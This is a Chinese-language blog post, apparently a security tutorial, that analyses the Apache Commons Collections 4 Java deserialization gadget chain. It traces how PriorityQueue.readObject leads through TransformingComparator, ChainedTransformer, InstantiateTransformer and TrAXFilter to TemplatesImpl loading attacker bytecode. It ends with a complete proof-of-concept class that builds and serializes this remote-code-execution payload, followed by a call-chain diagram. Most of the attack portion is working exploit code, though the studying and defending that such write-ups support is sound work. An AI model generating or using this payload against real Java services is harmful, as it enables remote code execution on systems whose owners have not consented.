Apache Commons Collections 4

Apache Commons Collections 4

因为 Commons Collections 4 除 4.0 的其他版本去掉了 InvokerTransformer 不再继承 Serializable,导致无法序列化。同时 CommonsCollections 4的版本 TransformingComparator 继承了 Serializable接口,而CommonsCollections 3里是没有的。这个就提供了一个攻击的路径。

执行命令

创建Runtime实例可以用TemplatesImpl类的defineClass方法,需要调用newTransformer()方法才能执行,因此需要寻找主动调用newTransformer()方法的类,

TrAXFilter

TrAXFilter类的构造方法更好就可以调用newTransformer()方法

1
2
3
4
5
6
7
8
public TrAXFilter(Templates templates)  throws
TransformerConfigurationException
{
_templates = templates;
_transformer = (TransformerImpl) templates.newTransformer();
_transformerHandler = new TransformerHandlerImpl(_transformer);
_useServicesMechanism = _transformer.useServicesMechnism();
}

只要创建TrAXFilter类即可调用

1
TrAXFilter trAXFilter = new TrAXFilter(templates);

但TrAXFilter不能被序列化,因此需要用到反射创建TrAXFilter对象

InstantiateTransformer

InstantiateTransformer类的transform方法刚好可以通过反射创建对象,且可以被序列化

1
2
3
4
5
6
7
8
public T transform(final Class<? extends T> input) {
try {
if (input == null) {
throw new FunctorException(
"InstantiateTransformer: Input object was not an instanceof Class, it was a null object");
}
final Constructor<? extends T> con = input.getConstructor(iParamTypes);
return con.newInstance(iArgs);
1
2
InstantiateTransformer<Object> instantiateTransformer = new InstantiateTransformer<>(new Class[]{Templates.class}, new Object[]{templates});
instantiateTransformer.transform(TrAXFilter.class);

可以看到,需要调用transform方法,所以直接用ChainedTransformer类链式调用

1
2
3
4
5
6
Transformer[] transformers={
new ConstantTransformer(TrAXFilter.class),
new InstantiateTransformer(new Class[]{Templates.class},new Object[]{templates}),
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
chainedTransformer.transform(1);

利用链

需要找到主动调用transform方法的类

TransformingComparator

TransformingComparator类的compare方法

1
2
3
4
5
public int compare(final I obj1, final I obj2) {
final O value1 = this.transformer.transform(obj1);
final O value2 = this.transformer.transform(obj2);
return this.decorated.compare(value1, value2);
}

现在以此寻找调用compare方法的类

PriorityQueue.siftUpUsingComparator()

1
2
3
4
5
6
7
8
9
10
11
private void siftUpUsingComparator(int k, E x) {
while (k > 0) {
int parent = (k - 1) >>> 1;
Object e = queue[parent];
if (comparator.compare(x, (E) e) >= 0)
break;
queue[k] = e;
k = parent;
}
queue[k] = x;
}

PriorityQueue.siftDown()

1
2
3
4
5
6
private void siftDown(int k, E x) {
if (comparator != null)
siftDownUsingComparator(k, x);
else
siftDownComparable(k, x);
}

PriorityQueue.heapify()

1
2
3
4
private void heapify() {
for (int i = (size >>> 1) - 1; i >= 0; i--)
siftDown(i, (E) queue[i]);
}

PriorityQueue.readObject()

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
private void readObject(java.io.ObjectInputStream s)
throws java.io.IOException, ClassNotFoundException {
// Read in size, and any hidden stuff
s.defaultReadObject();

// Read in (and discard) array length
s.readInt();

queue = new Object[size];

// Read in all elements.
for (int i = 0; i < size; i++)
queue[i] = s.readObject();

// Elements are guaranteed to be in "proper order", but the
// spec has never explained what that might be.
heapify();
}

最后在readObject()方法找到,完美符合反序列化

利用链细节

在heapify()方法里,有个for循环,只有进入循环才会继续调用

1
2
for (int i = (size >>> 1) - 1; i >= 0; i--)
siftDown(i, (E) queue[i]);

进入循环需要size变量向右移1位大于等于1才行

size

size是PriorityQueue类里队列的元素个数,通过add函数而添加,因此,只需要往队列里随便添加元素即可

1
2
priorityQueue.add(1);
priorityQueue.add(2);

反序列化执行

  • PriorityQueue 内部是一个最小堆,它在插入元素时会调用 siftUp() 来维护堆序。
  • 维护堆序需要比较元素的大小。
  • 传了一个 TransformingComparator,它会在比较时调用 chainedTransformer.transform(...)
  • ChainedTransformer 链里最终会去 new TrAXFilter(templates),而 templates 是你精心构造的恶意 TemplatesImpl 对象,所以在构造 TrAXFilter 时就会去调用 templates.newTransformer(),最终执行字节码里的命令。

需要在序列化时传一个无效对象,之后再通过反射修改

1
2
3
4
5
6
7
8
9
10
11
12
13
14
Transformer[] transformers={
new ConstantTransformer(TrAXFilter.class),
new InstantiateTransformer(new Class[]{Templates.class},new Object[]{templates}),
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);

TransformingComparator transformingComparator = new TransformingComparator<>(new ConstantTransformer(1));
PriorityQueue priorityQueue = new PriorityQueue<>( transformingComparator);
priorityQueue.add(1);
priorityQueue.add(2);

Field transformer = TransformingComparator.class.getDeclaredField("transformer");
transformer.setAccessible(true);
transformer.set(transformingComparator,chainedTransformer);

POC

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
package cc4;

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.apache.commons.collections4.Transformer;
import org.apache.commons.collections4.comparators.TransformingComparator;
import org.apache.commons.collections4.functors.ChainedTransformer;
import org.apache.commons.collections4.functors.ConstantTransformer;
import org.apache.commons.collections4.functors.InstantiateTransformer;
import javax.xml.transform.Templates;
import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.PriorityQueue;

public class cc4 {
public static void main(String[] args) throws Exception {
TemplatesImpl templates = new TemplatesImpl();

Field name = templates.getClass().getDeclaredField("_name");
name.setAccessible(true);
Field bytecodes = templates.getClass().getDeclaredField("_bytecodes");
bytecodes.setAccessible(true);
Field tfactory = templates.getClass().getDeclaredField("_tfactory");
tfactory.setAccessible(true);

name.set(templates, "1");
byte[] code = Files.readAllBytes(Paths.get("D:/Maven/project/Apache Commons Collections/cc4/src/main/java/cc4/Evil.class"));
byte[][] codes = {code};
bytecodes.set(templates,codes);
tfactory.set(templates,new TransformerFactoryImpl());


Transformer[] transformers={
new ConstantTransformer(TrAXFilter.class),
new InstantiateTransformer(new Class[]{Templates.class},new Object[]{templates}),
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);

TransformingComparator transformingComparator = new TransformingComparator<>(new ConstantTransformer(1));
PriorityQueue priorityQueue = new PriorityQueue<>( transformingComparator);
priorityQueue.add(1);
priorityQueue.add(2);

Field transformer = TransformingComparator.class.getDeclaredField("transformer");
transformer.setAccessible(true);
transformer.set(transformingComparator,chainedTransformer);

serialize(priorityQueue);
// deserialize();

}

public static void serialize(Object obj) throws Exception {
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("cc4.bin"));
oos.writeObject(obj);
}

public static void deserialize() throws Exception {
ObjectInputStream ois = new ObjectInputStream(new FileInputStream("cc4.bin"));
Object o = ois.readObject();


}
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
ObjectInputStream.readObject()
// 反序列化入口,开始读取对象
└─> PriorityQueue.readObject()
// PriorityQueue自定义反序列化方法被调用
└─> PriorityQueue.heapify()
// 反序列化时重建堆结构,调整元素顺序
└─> PriorityQueue.siftDown()
// 调整堆中某个节点的正确位置
└─> TransformingComparator.compare()
// 比较队列元素大小时调用自定义比较器
└─> ChainedTransformer.transform()
// 执行链式变换,触发恶意代码
├─> ConstantTransformer.transform() → 返回 TrAXFilter.class
// 返回目标类
└─> InstantiateTransformer.transform()
// 通过反射实例化TrAXFilter对象
└─> new TrAXFilter(templates)
// 调用TrAXFilter构造函数,传入恶意Templates对象
└─> TrAXFilter.<init>(templates)
// 构造函数执行
└─> templates.newTransformer()
// 触发TemplatesImpl动态加载恶意字节码
└─> TemplatesImpl.defineClass()
// 加载字节码为Java类
└─> 恶意类 static 代码块执行(RCE)


Apache Commons Collections 4
http://xiaowu5.cn/2025/12/04/Apache-Commons-Collections-4/
作者
5
发布于
2025年12月4日
许可协议
BY XIAOWU